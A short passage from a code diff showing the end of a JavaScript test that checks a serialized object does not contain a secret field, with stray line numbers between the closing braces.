+ expect(serialized).not.toContain(secretField);
314
+ }
315
+ });
316
+ });